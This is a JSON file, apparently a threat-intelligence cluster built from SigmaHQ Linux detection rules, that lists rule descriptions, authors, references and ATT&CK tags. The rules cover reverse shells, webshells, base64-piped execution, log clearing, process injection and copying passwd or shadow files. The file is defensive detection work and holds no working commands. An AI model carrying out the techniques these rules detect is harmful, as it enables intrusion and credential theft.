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      "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.",
      "meta": {
        "author": "Alejandro Ortuno, oscd.community",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_schedule_task_job_cron.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_schedule_task_job_cron.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1053.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "6b14bac8-3e3a-4324-8109-42f0546a347f",
      "value": "Scheduled Cron Task/Job - Linux"
    },
    {
      "description": "Detects usage of system utilities to discover system network connections",
      "meta": {
        "author": "Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2020/10/19",
        "falsepositive": [
          "Legitimate activities"
        ],
        "filename": "proc_creation_lnx_system_network_connections_discovery.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_connections_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1049"
        ]
      },
      "related": [
        {
          "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "4c519226-f0cd-4471-bd2f-6fbb2bb68a79",
      "value": "System Network Connections Discovery - Linux"
    },
    {
      "description": "Detects execution of the \"esxcli\" command with the \"vm\" and \"kill\" flag in order to kill/shutdown a specific VM.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon",
        "creation_date": "2023/09/04",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_esxcli_vm_kill.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/",
          "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/",
          "https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html",
          "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_vm.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_vm_kill.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "2992ac4d-31e9-4325-99f2-b18a73221bb2",
      "value": "ESXi VM Kill Via ESXCLI"
    },
    {
      "description": "Detects execution of shells from a parent process located in a temporary (/tmp) directory",
      "meta": {
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/06/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_susp_shell_child_process_from_parent_tmp_folder.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html",
          "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/",
          "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection",
          "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_shell_child_process_from_parent_tmp_folder.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "2fade0b6-7423-4835-9d4f-335b39b83867",
      "value": "Shell Execution Of Process Located In Tmp Directory"
    },
    {
      "description": "Detects attempts to force stop the ufw using ufw-init",
      "meta": {
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/01/18",
        "falsepositive": [
          "Network administrators"
        ],
        "filename": "proc_creation_lnx_disable_ufw.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://blogs.blackberry.com/",
          "https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_disable_ufw.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "84c9e83c-599a-458a-a0cb-0ecce44e807a",
      "value": "Ufw Force Stop Using Ufw-Init"
    },
    {
      "description": "Detects enumeration of local network configuration",
      "meta": {
        "author": "Ömer Günal and remotephone, oscd.community",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_system_network_discovery.yml",
        "level": "informational",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1016"
        ]
      },
      "related": [
        {
          "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "e7bd1cfa-b446-4c88-8afb-403bcd79e3fa",
      "value": "System Network Discovery - Linux"
    },
    {
      "description": "Detects a suspicious curl process start on linux with set useragent options",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/15",
        "falsepositive": [
          "Scripts created by developers and admins",
          "Administrative activity"
        ],
        "filename": "proc_creation_lnx_susp_curl_useragent.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://curl.se/docs/manpage.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "b86d356d-6093-443d-971c-9b07db583c68",
      "value": "Suspicious Curl Change User Agents - Linux"
    },
    {
      "description": "Detects executing python with keywords related to network activity that could indicate a potential reverse shell",
      "meta": {
        "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_python_reverse_shell.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.revshells.com/",
          "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_reverse_shell.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "32e62bc7-3de0-4bb1-90af-532978fe42c0",
      "value": "Potential Python Reverse Shell"
    },
    {
      "description": "Detects suspicious sub processes of web server processes",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/10/15",
        "falsepositive": [
          "Web applications that invoke Linux command line tools"
        ],
        "filename": "proc_creation_lnx_webshell_detection.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF",
          "https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1505.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "818f7b24-0fba-4c49-a073-8b755573b9c7",
      "value": "Linux Webshell Indicators"
    },
    {
      "description": "Detects the use of at/atd which are utilities that are used to schedule tasks.\nThey are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code\n",
      "meta": {
        "author": "Ömer Günal, oscd.community",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_at_command.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_at_command.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1053.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d2d642d7-b393-43fe-bae4-e81ed5915c4b",
      "value": "Scheduled Task/Job At"
    },
    {
      "description": "Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/20",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_susp_history_recon.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/sleventyeleven/linuxprivchecker/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_recon.yml"
        ],
        "tags": [
          "attack.reconnaissance",
          "attack.t1592.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "774ad5bb-2366-4c13-a8a9-65e50b292e7c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d7821ff1-4527-4e33-9f84-d0d57fa2fb66",
      "value": "Print History File Contents"
    },
    {
      "description": "Detects usage of crontab to list the tasks of the user",
      "meta": {
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/06/02",
        "falsepositive": [
          "Legitimate use of crontab"
        ],
        "filename": "proc_creation_lnx_crontab_enumeration.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html",
          "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/",
          "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection",
          "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_enumeration.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1007"
        ]
      },
      "related": [
        {
          "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "403ed92c-b7ec-4edd-9947-5b535ee12d46",
      "value": "Crontab Enumeration"
    },
    {
      "description": "Detects the usage of the unsafe bpftrace option",
      "meta": {
        "author": "Andreas Hunkeler (@Karneades)",
        "creation_date": "2022/02/11",
        "falsepositive": [
          "Legitimate usage of the unsafe option"
        ],
        "filename": "proc_creation_lnx_bpftrace_unsafe_option_usage.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/",
          "https://bpftrace.org/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f8341cb2-ee25-43fa-a975-d8a5a9714b39",
      "value": "BPFtrace Unsafe Option Usage"
    },
    {
      "description": "Detects usage of the PHP CLI with the \"-r\" flag which allows it to run inline PHP code. The rule looks for calls to the \"fsockopen\" function which allows the creation of sockets.\nAttackers often leverage this in combination with functions such as \"exec\" or \"fopen\" to initiate a reverse shell connection.\n",
      "meta": {
        "author": "@d4ns4n_",
        "creation_date": "2023/04/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_php_reverse_shell.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.revshells.com/",
          "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_php_reverse_shell.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "c6714a24-d7d5-4283-a36b-3ffd091d5f7e",
      "value": "Potential PHP Reverse Shell"
    },
    {
      "description": "Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.\nScript being executed gets created as a temp file in /tmp folder with a scx* prefix.\nThen it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.\nThe file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "creation_date": "2021/10/15",
        "falsepositive": [
          "Legitimate use of SCX RunAsProvider ExecuteScript."
        ],
        "filename": "proc_creation_lnx_omigod_scx_runasprovider_executescript.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure",
          "https://github.com/Azure/Azure-Sentinel/pull/3059",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.initial_access",
          "attack.execution",
          "attack.t1068",
          "attack.t1190",
          "attack.t1203"
        ]
      },
      "related": [
        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6eea1bf6-f8d2-488a-a742-e6ef6c1b67db",
      "value": "OMIGOD SCX RunAsProvider ExecuteScript"
    },
    {
      "description": "Detects suspicious process command line that uses base64 encoded input for execution with a shell",
      "meta": {
        "author": "pH-T (Nextron Systems)",
        "creation_date": "2022/07/26",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_base64_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/arget13/DDexec",
          "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1140"
        ]
      },
      "related": [
        {
          "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ba592c6d-6888-43c3-b8c6-689b8fe47337",
      "value": "Linux Base64 Encoded Pipe to Shell"
    },
    {
      "description": "Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion",
      "meta": {
        "author": "Ömer Günal, oscd.community",
        "creation_date": "2020/10/07",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_clear_logs.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "80915f59-9b56-4616-9de0-fd0dea6c12fe",
      "value": "Clear Linux Logs"
    },
    {
      "description": "Detects execution of the \"groupdel\" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks",
      "meta": {
        "author": "Tuan Le (NCSGroup)",
        "creation_date": "2022/12/26",
        "falsepositive": [
          "Legitimate administrator activities"
        ],
        "filename": "proc_creation_lnx_groupdel.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://linux.die.net/man/8/groupdel",
          "https://www.cyberciti.biz/faq/linux-remove-user-command/",
          "https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/",
          "https://linuxize.com/post/how-to-delete-group-in-linux/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_groupdel.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1531"
        ]
      },
      "related": [
        {
          "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8a46f16c-8c4c-82d1-b121-0fdd3ba70a84",
      "value": "Group Has Been Deleted Via Groupdel"
    },
    {
      "description": "Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/15",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_base64_shebang_cli.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS",
          "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1140"
        ]
      },
      "related": [
        {
          "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fe2f9663-41cb-47e2-b954-8a228f3b9dff",
      "value": "Linux Base64 Encoded Shebang In CLI"
    },
    {
      "description": "Detects usage of \"getcap\" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_capa_discovery.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/carlospolop/PEASS-ng",
          "https://github.com/diego-treitos/linux-smart-enumeration",
          "https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_capa_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1083"
        ]
      },
      "related": [
        {
          "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d8d97d51-122d-4cdd-9e2f-01b4b4933530",
      "value": "Capabilities Discovery - Linux"
    },
    {
      "description": "Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/14",
        "falsepositive": [
          "Legitimate software that uses these patterns"
        ],
        "filename": "proc_creation_lnx_susp_pipe_shell.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1140"
        ]
      },
      "related": [
        {
          "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "880973f3-9708-491c-a77b-2a35a1921158",
      "value": "Linux Shell Pipe to Shell"
    },
    {
      "description": "Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/15",
        "falsepositive": [
          "Scripts created by developers and admins",
          "Administrative activity"
        ],
        "filename": "proc_creation_lnx_curl_usage.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_usage.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ea34fb97-e2c4-4afb-810f-785e4459b194",
      "value": "Curl Usage on Linux"
    },
    {
      "description": "Detects execution of the \"esxcli\" command with the \"system\" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.",
      "meta": {
        "author": "Cedric Maurugeon",
        "creation_date": "2023/09/04",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_esxcli_system_discovery.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/",
          "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_system.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_system_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
          "attack.t1007"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e80273e1-9faf-40bc-bd85-dbaff104c4e9",
      "value": "ESXi System Information Discovery Via ESXCLI"
    },
    {
      "description": "Detects the injection of code by overwriting the memory map of a Linux process using the \"dd\" Linux command.",
      "meta": {
        "author": "Joseph Kamau",
        "creation_date": "2023/12/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_dd_process_injection.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.aon.com/cyber-solutions/aon_cyber_labs/linux-based-inter-process-code-injection-without-ptrace2/",
          "https://github.com/AonCyberLabs/Cexigua/blob/34d338620afae4c6335ba8d8d499e1d7d3d5d7b5/overwrite.sh",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_process_injection.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1055.009"
        ]
      },
      "related": [
        {
          "dest-uuid": "d201d4cc-214d-4a74-a1ba-b3fa09fd4591",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4cad6c64-d6df-42d6-8dae-eb78defdc415",
      "value": "Potential Linux Process Code Injection Via DD Utility"
    },
    {
      "description": "Detects usage of the \"touch\" process in service file.",
      "meta": {
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/01/11",
        "falsepositive": [
          "Admin changing date of files."
        ],
        "filename": "proc_creation_lnx_touch_susp.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://blogs.blackberry.com/",
          "https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_touch_susp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "31545105-3444-4584-bebf-c466353230d2",
      "value": "Touch Suspicious Service File"
    },
    {
      "description": "Detects changes to the ESXi syslog configuration via \"esxcli\"",
      "meta": {
        "author": "Cedric Maurugeon",
        "creation_date": "2023/09/04",
        "falsepositive": [
          "Legitimate administrative activities"
        ],
        "filename": "proc_creation_lnx_esxcli_syslog_config_change.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_system.html",
          "https://support.solarwinds.com/SuccessCenter/s/article/Configure-ESXi-Syslog-to-LEM?language=en_US",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_syslog_config_change.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001",
          "attack.t1562.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "8f504411-cb96-4dac-a537-8d2bb7679c59",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "38eb1dbb-011f-40b1-a126-cf03a0210563",
      "value": "ESXi Syslog Configuration Change Via ESXCLI"
    },
    {
      "description": "Detects execution of the bash shell with the interactive flag \"-i\".",
      "meta": {
        "author": "@d4ns4n_",
        "creation_date": "2023/04/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_bash_interactive_shell.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://linux.die.net/man/1/bash",
          "https://www.revshells.com/",
          "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bash_interactive_shell.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "6104e693-a7d6-4891-86cb-49a258523559",
      "value": "Bash Interactive Shell"
    },
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      "description": "Detects when the file \"passwd\" or \"shadow\" is copied from tmp path",
      "meta": {
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/01/31",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_cp_passwd_or_shadow_tmp.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://blogs.blackberry.com/",
          "https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cp_passwd_or_shadow_tmp.yml"
        ],
        "tags": [
